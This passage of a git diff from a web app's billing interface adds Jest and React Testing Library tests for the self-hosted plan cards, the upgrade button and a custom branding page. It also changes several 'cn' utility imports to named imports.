+      expect(firstCallProps.currentPlan).toBe(Plan.team)
+    })
+  })
+
+  // Self-hosted plans visible for self-managed workspaces
+  describe('Self-hosted plan rendering', () => {
+    test('should render all self-hosted plans when workspace type is self-hosted', () => {
+      render(
+        <Plans
+          plan={buildPlan(Plan.sandbox)}
+          currentPlan="self"
+          planRange={PlanRange.yearly}
+          canPay={false}
+        />,
+      )
+
+      expect(screen.getByTestId('self-plan-community')).toBeInTheDocument()
+      expect(screen.getByTestId('self-plan-premium')).toBeInTheDocument()
+      expect(screen.getByTestId('self-plan-enterprise')).toBeInTheDocument()
+
+      const selfPlanItem = jest.requireMock('./self-hosted-plan-item').default as jest.Mock
+      expect(selfPlanItem).toHaveBeenCalledTimes(3)
+    })
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/self-hosted-plan-item/button.spec.tsx b/web/app/components/billing/pricing/plans/self-hosted-plan-item/button.spec.tsx
new file mode 100644
index 0000000000..4b812d4db3
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/self-hosted-plan-item/button.spec.tsx
@@ -0,0 +1,61 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import Button from './button'
+import { SelfHostedPlan } from '../../../type'
+import useTheme from '@/hooks/use-theme'
+import { Theme } from '@/types/app'
+
+jest.mock('@/hooks/use-theme')
+
+jest.mock('@/app/components/base/icons/src/public/billing', () => ({
+  AwsMarketplaceLight: () => <div>AwsMarketplaceLight</div>,
+  AwsMarketplaceDark: () => <div>AwsMarketplaceDark</div>,
+}))
+
+const mockUseTheme = useTheme as jest.MockedFunction<typeof useTheme>
+
+beforeEach(() => {
+  jest.clearAllMocks()
+  mockUseTheme.mockReturnValue({ theme: Theme.light } as unknown as ReturnType<typeof useTheme>)
+})
+
+describe('SelfHostedPlanButton', () => {
+  test('should invoke handler when clicked', () => {
+    const handleGetPayUrl = jest.fn()
+    render(
+      <Button
+        plan={SelfHostedPlan.community}
+        handleGetPayUrl={handleGetPayUrl}
+      />,
+    )
+
+    fireEvent.click(screen.getByRole('button', { name: 'billing.plans.community.btnText' }))
+    expect(handleGetPayUrl).toHaveBeenCalledTimes(1)
+  })
+
+  test('should render AWS marketplace badge for premium plan in light theme', () => {
+    const handleGetPayUrl = jest.fn()
+
+    render(
+      <Button
+        plan={SelfHostedPlan.premium}
+        handleGetPayUrl={handleGetPayUrl}
+      />,
+    )
+
+    expect(screen.getByText('AwsMarketplaceLight')).toBeInTheDocument()
+  })
+
+  test('should switch to dark AWS badge in dark theme', () => {
+    mockUseTheme.mockReturnValue({ theme: Theme.dark } as unknown as ReturnType<typeof useTheme>)
+
+    render(
+      <Button
+        plan={SelfHostedPlan.premium}
+        handleGetPayUrl={jest.fn()}
+      />,
+    )
+
+    expect(screen.getByText('AwsMarketplaceDark')).toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/self-hosted-plan-item/button.tsx b/web/app/components/billing/pricing/plans/self-hosted-plan-item/button.tsx
index ffa4dbcb65..f6ebb2cb3f 100644
--- a/web/app/components/billing/pricing/plans/self-hosted-plan-item/button.tsx
+++ b/web/app/components/billing/pricing/plans/self-hosted-plan-item/button.tsx
@@ -2,7 +2,7 @@ import React, { useMemo } from 'react'
 import { SelfHostedPlan } from '../../../type'
 import { AwsMarketplaceDark, AwsMarketplaceLight } from '@/app/components/base/icons/src/public/billing'
 import { RiArrowRightLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 import useTheme from '@/hooks/use-theme'
 import { Theme } from '@/types/app'
diff --git a/web/app/components/billing/pricing/plans/self-hosted-plan-item/index.spec.tsx b/web/app/components/billing/pricing/plans/self-hosted-plan-item/index.spec.tsx
new file mode 100644
index 0000000000..fec17ca838
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/self-hosted-plan-item/index.spec.tsx
@@ -0,0 +1,143 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import SelfHostedPlanItem from './index'
+import { SelfHostedPlan } from '../../../type'
+import { contactSalesUrl, getStartedWithCommunityUrl, getWithPremiumUrl } from '../../../config'
+import { useAppContext } from '@/context/app-context'
+import Toast from '../../../../base/toast'
+
+const featuresTranslations: Record<string, string[]> = {
+  'billing.plans.community.features': ['community-feature-1', 'community-feature-2'],
+  'billing.plans.premium.features': ['premium-feature-1'],
+  'billing.plans.enterprise.features': ['enterprise-feature-1'],
+}
+
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string, options?: Record<string, unknown>) => {
+      if (options?.returnObjects)
+        return featuresTranslations[key] || []
+      return key
+    },
+  }),
+  Trans: ({ i18nKey }: { i18nKey: string }) => <span>{i18nKey}</span>,
+}))
+
+jest.mock('../../../../base/toast', () => ({
+  __esModule: true,
+  default: {
+    notify: jest.fn(),
+  },
+}))
+
+jest.mock('@/context/app-context', () => ({
+  useAppContext: jest.fn(),
+}))
+
+jest.mock('../../assets', () => ({
+  Community: () => <div>Community Icon</div>,
+  Premium: () => <div>Premium Icon</div>,
+  Enterprise: () => <div>Enterprise Icon</div>,
+  PremiumNoise: () => <div>PremiumNoise</div>,
+  EnterpriseNoise: () => <div>EnterpriseNoise</div>,
+}))
+
+jest.mock('@/app/components/base/icons/src/public/billing', () => ({
+  Azure: () => <div>Azure</div>,
+  GoogleCloud: () => <div>Google Cloud</div>,
+  AwsMarketplaceDark: () => <div>AwsMarketplaceDark</div>,
+  AwsMarketplaceLight: () => <div>AwsMarketplaceLight</div>,
+}))
+
+const mockUseAppContext = useAppContext as jest.Mock
+const mockToastNotify = Toast.notify as jest.Mock
+
+let assignedHref = ''
+const originalLocation = window.location
+
+beforeAll(() => {
+  Object.defineProperty(window, 'location', {
+    configurable: true,
+    value: {
+      get href() {
+        return assignedHref
+      },
+      set href(value: string) {
+        assignedHref = value
+      },
+    } as unknown as Location,
+  })
+})
+
+afterAll(() => {
+  Object.defineProperty(window, 'location', {
+    configurable: true,
+    value: originalLocation,
+  })
+})
+
+beforeEach(() => {
+  jest.clearAllMocks()
+  mockUseAppContext.mockReturnValue({ isCurrentWorkspaceManager: true })
+  assignedHref = ''
+})
+
+describe('SelfHostedPlanItem', () => {
+  // Copy rendering for each plan
+  describe('Rendering', () => {
+    test('should display community plan info', () => {
+      render(<SelfHostedPlanItem plan={SelfHostedPlan.community} />)
+
+      expect(screen.getByText('billing.plans.community.name')).toBeInTheDocument()
+      expect(screen.getByText('billing.plans.community.description')).toBeInTheDocument()
+      expect(screen.getByText('billing.plans.community.price')).toBeInTheDocument()
+      expect(screen.getByText('billing.plans.community.includesTitle')).toBeInTheDocument()
+      expect(screen.getByText('community-feature-1')).toBeInTheDocument()
+    })
+
+    test('should show premium extras such as cloud provider notice', () => {
+      render(<SelfHostedPlanItem plan={SelfHostedPlan.premium} />)
+
+      expect(screen.getByText('billing.plans.premium.price')).toBeInTheDocument()
+      expect(screen.getByText('billing.plans.premium.comingSoon')).toBeInTheDocument()
+      expect(screen.getByText('Azure')).toBeInTheDocument()
+      expect(screen.getByText('Google Cloud')).toBeInTheDocument()
+    })
+  })
+
+  // CTA behavior for each plan
+  describe('CTA interactions', () => {
+    test('should show toast when non-manager tries to proceed', () => {
+      mockUseAppContext.mockReturnValue({ isCurrentWorkspaceManager: false })
+
+      render(<SelfHostedPlanItem plan={SelfHostedPlan.premium} />)
+      fireEvent.click(screen.getByRole('button', { name: /billing\.plans\.premium\.btnText/ }))
+
+      expect(mockToastNotify).toHaveBeenCalledWith(expect.objectContaining({
+        type: 'error',
+        message: 'billing.buyPermissionDeniedTip',
+      }))
+    })
+
+    test('should redirect to community url when community plan button clicked', () => {
+      render(<SelfHostedPlanItem plan={SelfHostedPlan.community} />)
+
+      fireEvent.click(screen.getByRole('button', { name: 'billing.plans.community.btnText' }))
+      expect(assignedHref).toBe(getStartedWithCommunityUrl)
+    })
+
+    test('should redirect to premium marketplace url when premium button clicked', () => {
+      render(<SelfHostedPlanItem plan={SelfHostedPlan.premium} />)
+
+      fireEvent.click(screen.getByRole('button', { name: /billing\.plans\.premium\.btnText/ }))
+      expect(assignedHref).toBe(getWithPremiumUrl)
+    })
+
+    test('should redirect to contact sales form when enterprise button clicked', () => {
+      render(<SelfHostedPlanItem plan={SelfHostedPlan.enterprise} />)
+
+      fireEvent.click(screen.getByRole('button', { name: 'billing.plans.enterprise.btnText' }))
+      expect(assignedHref).toBe(contactSalesUrl)
+    })
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/self-hosted-plan-item/index.tsx b/web/app/components/billing/pricing/plans/self-hosted-plan-item/index.tsx
index db32f6c750..2f14365d8f 100644
--- a/web/app/components/billing/pricing/plans/self-hosted-plan-item/index.tsx
+++ b/web/app/components/billing/pricing/plans/self-hosted-plan-item/index.tsx
@@ -5,7 +5,7 @@ import { useTranslation } from 'react-i18next'
 import { SelfHostedPlan } from '../../../type'
 import { contactSalesUrl, getStartedWithCommunityUrl, getWithPremiumUrl } from '../../../config'
 import Toast from '../../../../base/toast'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useAppContext } from '@/context/app-context'
 import Button from './button'
 import List from './list'
diff --git a/web/app/components/billing/pricing/plans/self-hosted-plan-item/list/index.spec.tsx b/web/app/components/billing/pricing/plans/self-hosted-plan-item/list/index.spec.tsx
new file mode 100644
index 0000000000..dfdb917cbf
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/self-hosted-plan-item/list/index.spec.tsx
@@ -0,0 +1,25 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import List from './index'
+import { SelfHostedPlan } from '@/app/components/billing/type'
+
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string, options?: Record<string, unknown>) => {
+      if (options?.returnObjects)
+        return ['Feature A', 'Feature B']
+      return key
+    },
+  }),
+  Trans: ({ i18nKey }: { i18nKey: string }) => <span>{i18nKey}</span>,
+}))
+
+describe('SelfHostedPlanItem/List', () => {
+  test('should render plan info', () => {
+    render(<List plan={SelfHostedPlan.community} />)
+
+    expect(screen.getByText('billing.plans.community.includesTitle')).toBeInTheDocument()
+    expect(screen.getByText('Feature A')).toBeInTheDocument()
+    expect(screen.getByText('Feature B')).toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/billing/pricing/plans/self-hosted-plan-item/list/item.spec.tsx b/web/app/components/billing/pricing/plans/self-hosted-plan-item/list/item.spec.tsx
new file mode 100644
index 0000000000..38e14373dc
--- /dev/null
+++ b/web/app/components/billing/pricing/plans/self-hosted-plan-item/list/item.spec.tsx
@@ -0,0 +1,12 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import Item from './item'
+
+describe('SelfHostedPlanItem/List/Item', () => {
+  test('should display provided feature label', () => {
+    const { container } = render(<Item label="Dedicated support" />)
+
+    expect(screen.getByText('Dedicated support')).toBeInTheDocument()
+    expect(container.querySelector('svg')).not.toBeNull()
+  })
+})
diff --git a/web/app/components/billing/priority-label/index.tsx b/web/app/components/billing/priority-label/index.tsx
index 98c6a982b8..8893263470 100644
--- a/web/app/components/billing/priority-label/index.tsx
+++ b/web/app/components/billing/priority-label/index.tsx
@@ -4,7 +4,7 @@ import {
   DocumentProcessingPriority,
   Plan,
 } from '../type'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useProviderContext } from '@/context/provider-context'
 import Tooltip from '@/app/components/base/tooltip'
 import { RiAedFill } from '@remixicon/react'
diff --git a/web/app/components/billing/progress-bar/index.tsx b/web/app/components/billing/progress-bar/index.tsx
index 6397b43967..6728fd617c 100644
--- a/web/app/components/billing/progress-bar/index.tsx
+++ b/web/app/components/billing/progress-bar/index.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ProgressBarProps = {
   percent: number
diff --git a/web/app/components/billing/upgrade-btn/index.spec.tsx b/web/app/components/billing/upgrade-btn/index.spec.tsx
new file mode 100644
index 0000000000..d106dbe327
--- /dev/null
+++ b/web/app/components/billing/upgrade-btn/index.spec.tsx
@@ -0,0 +1,543 @@
+import { render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import UpgradeBtn from './index'
+
+// ✅ Import real project components (DO NOT mock these)
+// PremiumBadge, Button, SparklesSoft are all base components
+
+// ✅ Mock external dependencies only
+const mockSetShowPricingModal = jest.fn()
+jest.mock('@/context/modal-context', () => ({
+  useModalContext: () => ({
+    setShowPricingModal: mockSetShowPricingModal,
+  }),
+}))
+
+// Mock gtag for tracking tests
+let mockGtag: jest.Mock | undefined
+
+describe('UpgradeBtn', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockGtag = jest.fn()
+    ;(window as any).gtag = mockGtag
+  })
+
+  afterEach(() => {
+    delete (window as any).gtag
+  })
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render without crashing with default props', () => {
+      // Act
+      render(<UpgradeBtn />)
+
+      // Assert - should render with default text
+      expect(screen.getByText(/billing\.upgradeBtn\.encourage/i)).toBeInTheDocument()
+    })
+
+    it('should render premium badge by default', () => {
+      // Act
+      render(<UpgradeBtn />)
+
+      // Assert - PremiumBadge renders with text content
+      expect(screen.getByText(/billing\.upgradeBtn\.encourage/i)).toBeInTheDocument()
+    })
+
+    it('should render plain button when isPlain is true', () => {
+      // Act
+      render(<UpgradeBtn isPlain />)
+
+      // Assert - Button should be rendered with plain text
+      const button = screen.getByRole('button')
+      expect(button).toBeInTheDocument()
+      expect(screen.getByText(/billing\.upgradeBtn\.plain/i)).toBeInTheDocument()
+    })
+
+    it('should render short text when isShort is true', () => {
+      // Act
+      render(<UpgradeBtn isShort />)
+
+      // Assert
+      expect(screen.getByText(/billing\.upgradeBtn\.encourageShort/i)).toBeInTheDocument()
+    })
+
+    it('should render custom label when labelKey is provided', () => {
+      // Act
+      render(<UpgradeBtn labelKey="custom.label.key" />)
+
+      // Assert
+      expect(screen.getByText(/custom\.label\.key/i)).toBeInTheDocument()
+    })
+
+    it('should render custom label in plain button when labelKey is provided with isPlain', () => {
+      // Act
+      render(<UpgradeBtn isPlain labelKey="custom.label.key" />)
+
+      // Assert
+      const button = screen.getByRole('button')
+      expect(button).toBeInTheDocument()
+      expect(screen.getByText(/custom\.label\.key/i)).toBeInTheDocument()
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should apply custom className to premium badge', () => {
+      // Arrange
+      const customClass = 'custom-upgrade-btn'
+
+      // Act
+      const { container } = render(<UpgradeBtn className={customClass} />)
+
+      // Assert - Check the root element has the custom class
+      const rootElement = container.firstChild as HTMLElement
+      expect(rootElement).toHaveClass(customClass)
+    })
+
+    it('should apply custom className to plain button', () => {
+      // Arrange
+      const customClass = 'custom-button-class'
+
+      // Act
+      render(<UpgradeBtn isPlain className={customClass} />)
+
+      // Assert
+      const button = screen.getByRole('button')
+      expect(button).toHaveClass(customClass)
+    })
+
+    it('should apply custom style to premium badge', () => {
+      // Arrange
+      const customStyle = { backgroundColor: 'red', padding: '10px' }
+
+      // Act
+      const { container } = render(<UpgradeBtn style={customStyle} />)
+
+      // Assert
+      const rootElement = container.firstChild as HTMLElement
+      expect(rootElement).toHaveStyle(customStyle)
+    })
+
+    it('should apply custom style to plain button', () => {
+      // Arrange
+      const customStyle = { backgroundColor: 'blue', margin: '5px' }
+
+      // Act
+      render(<UpgradeBtn isPlain style={customStyle} />)
+
+      // Assert
+      const button = screen.getByRole('button')
+      expect(button).toHaveStyle(customStyle)
+    })
+
+    it('should render with size "s"', () => {
+      // Act
+      render(<UpgradeBtn size="s" />)
+
+      // Assert - Component renders successfully with size prop
+      expect(screen.getByText(/billing\.upgradeBtn\.encourage/i)).toBeInTheDocument()
+    })
+
+    it('should render with size "m" by default', () => {
+      // Act
+      render(<UpgradeBtn />)
+
+      // Assert - Component renders successfully
+      expect(screen.getByText(/billing\.upgradeBtn\.encourage/i)).toBeInTheDocument()
+    })
+
+    it('should render with size "custom"', () => {
+      // Act
+      render(<UpgradeBtn size="custom" />)
+
+      // Assert - Component renders successfully with custom size
+      expect(screen.getByText(/billing\.upgradeBtn\.encourage/i)).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should call custom onClick when provided and premium badge is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const handleClick = jest.fn()
+
+      // Act
+      render(<UpgradeBtn onClick={handleClick} />)
+      const badge = screen.getByText(/billing\.upgradeBtn\.encourage/i)
+      await user.click(badge)
+
+      // Assert
+      expect(handleClick).toHaveBeenCalledTimes(1)
+      expect(mockSetShowPricingModal).not.toHaveBeenCalled()
+    })
+
+    it('should call custom onClick when provided and plain button is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const handleClick = jest.fn()
+
+      // Act
+      render(<UpgradeBtn isPlain onClick={handleClick} />)
+      const button = screen.getByRole('button')
+      await user.click(button)
+
+      // Assert
+      expect(handleClick).toHaveBeenCalledTimes(1)
+      expect(mockSetShowPricingModal).not.toHaveBeenCalled()
+    })
+
+    it('should open pricing modal when no custom onClick is provided and premium badge is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+
+      // Act
+      render(<UpgradeBtn />)
+      const badge = screen.getByText(/billing\.upgradeBtn\.encourage/i)
+      await user.click(badge)
+
+      // Assert
+      expect(mockSetShowPricingModal).toHaveBeenCalledTimes(1)
+    })
+
+    it('should open pricing modal when no custom onClick is provided and plain button is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+
+      // Act
+      render(<UpgradeBtn isPlain />)
+      const button = screen.getByRole('button')
+      await user.click(button)
+
+      // Assert
+      expect(mockSetShowPricingModal).toHaveBeenCalledTimes(1)
+    })
+
+    it('should track gtag event when loc is provided and badge is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const loc = 'header-navigation'
+
+      // Act
+      render(<UpgradeBtn loc={loc} />)
+      const badge = screen.getByText(/billing\.upgradeBtn\.encourage/i)
+      await user.click(badge)
+
+      // Assert
+      expect(mockGtag).toHaveBeenCalledTimes(1)
+      expect(mockGtag).toHaveBeenCalledWith('event', 'click_upgrade_btn', {
+        loc,
+      })
+    })
+
+    it('should track gtag event when loc is provided and plain button is clicked', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const loc = 'footer-section'
+
+      // Act
+      render(<UpgradeBtn isPlain loc={loc} />)
+      const button = screen.getByRole('button')
+      await user.click(button)
+
+      // Assert
+      expect(mockGtag).toHaveBeenCalledTimes(1)
+      expect(mockGtag).toHaveBeenCalledWith('event', 'click_upgrade_btn', {
+        loc,
+      })
+    })
+
+    it('should not track gtag event when loc is not provided', async () => {
+      // Arrange
+      const user = userEvent.setup()
+
+      // Act
+      render(<UpgradeBtn />)
+      const badge = screen.getByText(/billing\.upgradeBtn\.encourage/i)
+      await user.click(badge)
+
+      // Assert
+      expect(mockGtag).not.toHaveBeenCalled()
+    })
+
+    it('should not track gtag event when gtag is not available', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      delete (window as any).gtag
+
+      // Act
+      render(<UpgradeBtn loc="test-location" />)
+      const badge = screen.getByText(/billing\.upgradeBtn\.encourage/i)
+      await user.click(badge)
+
+      // Assert - should not throw error
+      expect(mockGtag).not.toHaveBeenCalled()
+    })
+
+    it('should call both custom onClick and track gtag when both are provided', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const handleClick = jest.fn()
+      const loc = 'settings-page'
+
+      // Act
+      render(<UpgradeBtn onClick={handleClick} loc={loc} />)
+      const badge = screen.getByText(/billing\.upgradeBtn\.encourage/i)
+      await user.click(badge)
+
+      // Assert
+      expect(handleClick).toHaveBeenCalledTimes(1)
+      expect(mockGtag).toHaveBeenCalledTimes(1)
+      expect(mockGtag).toHaveBeenCalledWith('event', 'click_upgrade_btn', {
+        loc,
+      })
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle undefined className', () => {
+      // Act
+      render(<UpgradeBtn className={undefined} />)
+
+      // Assert - should render without error
+      expect(screen.getByText(/billing\.upgradeBtn\.encourage/i)).toBeInTheDocument()
+    })
+
+    it('should handle undefined style', () => {
+      // Act
+      render(<UpgradeBtn style={undefined} />)
+
+      // Assert - should render without error
+      expect(screen.getByText(/billing\.upgradeBtn\.encourage/i)).toBeInTheDocument()
+    })
+
+    it('should handle undefined onClick', async () => {
+      // Arrange
+      const user = userEvent.setup()
+
+      // Act
+      render(<UpgradeBtn onClick={undefined} />)
+      const badge = screen.getByText(/billing\.upgradeBtn\.encourage/i)
+      await user.click(badge)
+
+      // Assert - should fall back to setShowPricingModal
+      expect(mockSetShowPricingModal).toHaveBeenCalledTimes(1)
+    })
+
+    it('should handle undefined loc', async () => {
+      // Arrange
+      const user = userEvent.setup()
+
+      // Act
+      render(<UpgradeBtn loc={undefined} />)
+      const badge = screen.getByText(/billing\.upgradeBtn\.encourage/i)
+      await user.click(badge)
+
+      // Assert - should not attempt to track gtag
+      expect(mockGtag).not.toHaveBeenCalled()
+    })
+
+    it('should handle undefined labelKey', () => {
+      // Act
+      render(<UpgradeBtn labelKey={undefined} />)
+
+      // Assert - should use default label
+      expect(screen.getByText(/billing\.upgradeBtn\.encourage/i)).toBeInTheDocument()
+    })
+
+    it('should handle empty string className', () => {
+      // Act
+      render(<UpgradeBtn className="" />)
+
+      // Assert
+      expect(screen.getByText(/billing\.upgradeBtn\.encourage/i)).toBeInTheDocument()
+    })
+
+    it('should handle empty string loc', async () => {
+      // Arrange
+      const user = userEvent.setup()
+
+      // Act
+      render(<UpgradeBtn loc="" />)
+      const badge = screen.getByText(/billing\.upgradeBtn\.encourage/i)
+      await user.click(badge)
+
+      // Assert - empty loc should not trigger gtag
+      expect(mockGtag).not.toHaveBeenCalled()
+    })
+
+    it('should handle empty string labelKey', () => {
+      // Act
+      render(<UpgradeBtn labelKey="" />)
+
+      // Assert - empty labelKey is falsy, so it falls back to default label
+      expect(screen.getByText(/billing\.upgradeBtn\.encourage/i)).toBeInTheDocument()
+    })
+  })
+
+  // Prop Combinations
+  describe('Prop Combinations', () => {
+    it('should handle isPlain with isShort', () => {
+      // Act
+      render(<UpgradeBtn isPlain isShort />)
+
+      // Assert - isShort should not affect plain button text
+      expect(screen.getByText(/billing\.upgradeBtn\.plain/i)).toBeInTheDocument()
+    })
+
+    it('should handle isPlain with custom labelKey', () => {
+      // Act
+      render(<UpgradeBtn isPlain labelKey="custom.key" />)
+
+      // Assert - labelKey should override plain text
+      expect(screen.getByText(/custom\.key/i)).toBeInTheDocument()
+      expect(screen.queryByText(/billing\.upgradeBtn\.plain/i)).not.toBeInTheDocument()
+    })
+
+    it('should handle isShort with custom labelKey', () => {
+      // Act
+      render(<UpgradeBtn isShort labelKey="custom.short.key" />)
+
+      // Assert - labelKey should override isShort behavior
+      expect(screen.getByText(/custom\.short\.key/i)).toBeInTheDocument()
+      expect(screen.queryByText(/billing\.upgradeBtn\.encourageShort/i)).not.toBeInTheDocument()
+    })
+
+    it('should handle all custom props together', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const handleClick = jest.fn()
+      const customStyle = { margin: '10px' }
+      const customClass = 'all-custom'
+
+      // Act
+      const { container } = render(
+        <UpgradeBtn
+          className={customClass}
+          style={customStyle}
+          size="s"
+          isShort
+          onClick={handleClick}
+          loc="test-loc"
+          labelKey="custom.all"
+        />,
+      )
+      const badge = screen.getByText(/custom\.all/i)
+      await user.click(badge)
+
+      // Assert
+      const rootElement = container.firstChild as HTMLElement
+      expect(rootElement).toHaveClass(customClass)
+      expect(rootElement).toHaveStyle(customStyle)
+      expect(screen.getByText(/custom\.all/i)).toBeInTheDocument()
+      expect(handleClick).toHaveBeenCalledTimes(1)
+      expect(mockGtag).toHaveBeenCalledWith('event', 'click_upgrade_btn', {
+        loc: 'test-loc',
+      })
+    })
+  })
+
+  // Accessibility Tests
+  describe('Accessibility', () => {
+    it('should be keyboard accessible with plain button', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const handleClick = jest.fn()
+
+      // Act
+      render(<UpgradeBtn isPlain onClick={handleClick} />)
+      const button = screen.getByRole('button')
+
+      // Tab to button
+      await user.tab()
+      expect(button).toHaveFocus()
+
+      // Press Enter
+      await user.keyboard('{Enter}')
+
+      // Assert
+      expect(handleClick).toHaveBeenCalledTimes(1)
+    })
+
+    it('should be keyboard accessible with Space key', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const handleClick = jest.fn()
+
+      // Act
+      render(<UpgradeBtn isPlain onClick={handleClick} />)
+
+      // Tab to button and press Space
+      await user.tab()
+      await user.keyboard(' ')
+
+      // Assert
+      expect(handleClick).toHaveBeenCalledTimes(1)
+    })
+
+    it('should be clickable for premium badge variant', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const handleClick = jest.fn()
+
+      // Act
+      render(<UpgradeBtn onClick={handleClick} />)
+      const badge = screen.getByText(/billing\.upgradeBtn\.encourage/i)
+
+      // Click badge
+      await user.click(badge)
+
+      // Assert
+      expect(handleClick).toHaveBeenCalledTimes(1)
+    })
+
+    it('should have proper button role when isPlain is true', () => {
+      // Act
+      render(<UpgradeBtn isPlain />)
+
+      // Assert - Plain button should have button role
+      const button = screen.getByRole('button')
+      expect(button).toBeInTheDocument()
+    })
+  })
+
+  // Integration Tests
+  describe('Integration', () => {
+    it('should work with modal context for pricing modal', async () => {
+      // Arrange
+      const user = userEvent.setup()
+
+      // Act
+      render(<UpgradeBtn />)
+      const badge = screen.getByText(/billing\.upgradeBtn\.encourage/i)
+      await user.click(badge)
+
+      // Assert
+      await waitFor(() => {
+        expect(mockSetShowPricingModal).toHaveBeenCalledTimes(1)
+      })
+    })
+
+    it('should integrate onClick with analytics tracking', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const handleClick = jest.fn()
+
+      // Act
+      render(<UpgradeBtn onClick={handleClick} loc="integration-test" />)
+      const badge = screen.getByText(/billing\.upgradeBtn\.encourage/i)
+      await user.click(badge)
+
+      // Assert - Both onClick and gtag should be called
+      await waitFor(() => {
+        expect(handleClick).toHaveBeenCalledTimes(1)
+        expect(mockGtag).toHaveBeenCalledWith('event', 'click_upgrade_btn', {
+          loc: 'integration-test',
+        })
+      })
+    })
+  })
+})
diff --git a/web/app/components/billing/usage-info/index.tsx b/web/app/components/billing/usage-info/index.tsx
index 668d49d698..a8be0aef53 100644
--- a/web/app/components/billing/usage-info/index.tsx
+++ b/web/app/components/billing/usage-info/index.tsx
@@ -5,7 +5,7 @@ import { useTranslation } from 'react-i18next'
 import ProgressBar from '../progress-bar'
 import { NUM_INFINITE } from '../config'
 import Tooltip from '@/app/components/base/tooltip'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   className?: string
diff --git a/web/app/components/billing/vector-space-full/index.tsx b/web/app/components/billing/vector-space-full/index.tsx
index 58d9db068a..026277948e 100644
--- a/web/app/components/billing/vector-space-full/index.tsx
+++ b/web/app/components/billing/vector-space-full/index.tsx
@@ -5,7 +5,7 @@ import { useTranslation } from 'react-i18next'
 import UpgradeBtn from '../upgrade-btn'
 import VectorSpaceInfo from '../usage-info/vector-space-info'
 import s from './style.module.css'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import GridMask from '@/app/components/base/grid-mask'
 
 const VectorSpaceFull: FC = () => {
diff --git a/web/app/components/custom/custom-page/index.spec.tsx b/web/app/components/custom/custom-page/index.spec.tsx
new file mode 100644
index 0000000000..f260236587
--- /dev/null
+++ b/web/app/components/custom/custom-page/index.spec.tsx
@@ -0,0 +1,500 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import CustomPage from './index'
+import { Plan } from '@/app/components/billing/type'
+import { createMockProviderContextValue } from '@/__mocks__/provider-context'
+import { contactSalesUrl } from '@/app/components/billing/config'
+
+// Mock external dependencies only
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: jest.fn(),
+}))
+
+jest.mock('@/context/modal-context', () => ({
+  useModalContext: jest.fn(),
+}))
+
+// Mock the complex CustomWebAppBrand component to avoid dependency issues
+// This is acceptable because it has complex dependencies (fetch, APIs)
+jest.mock('../custom-web-app-brand', () => ({
+  __esModule: true,
+  default: () => <div data-testid="custom-web-app-brand">CustomWebAppBrand</div>,
+}))
+
+// Get the mocked functions
+const { useProviderContext } = jest.requireMock('@/context/provider-context')
+const { useModalContext } = jest.requireMock('@/context/modal-context')
+
+describe('CustomPage', () => {
+  const mockSetShowPricingModal = jest.fn()
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+
+    // Default mock setup
+    useModalContext.mockReturnValue({
+      setShowPricingModal: mockSetShowPricingModal,
+    })
+  })
+
+  // Helper function to render with different provider contexts
+  const renderWithContext = (overrides = {}) => {
+    useProviderContext.mockReturnValue(
+      createMockProviderContextValue(overrides),
+    )
+    return render(<CustomPage />)
+  }
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange & Act
+      renderWithContext()
+
+      // Assert
+      expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument()
+    })
+
+    it('should always render CustomWebAppBrand component', () => {
+      // Arrange & Act
+      renderWithContext({
+        enableBilling: true,
+        plan: { type: Plan.sandbox },
+      })
+
+      // Assert
+      expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument()
+    })
+
+    it('should have correct layout structure', () => {
+      // Arrange & Act
+      const { container } = renderWithContext()
+
+      // Assert
+      const mainContainer = container.querySelector('.flex.flex-col')
+      expect(mainContainer).toBeInTheDocument()
+    })
+  })
+
+  // Conditional Rendering - Billing Tip
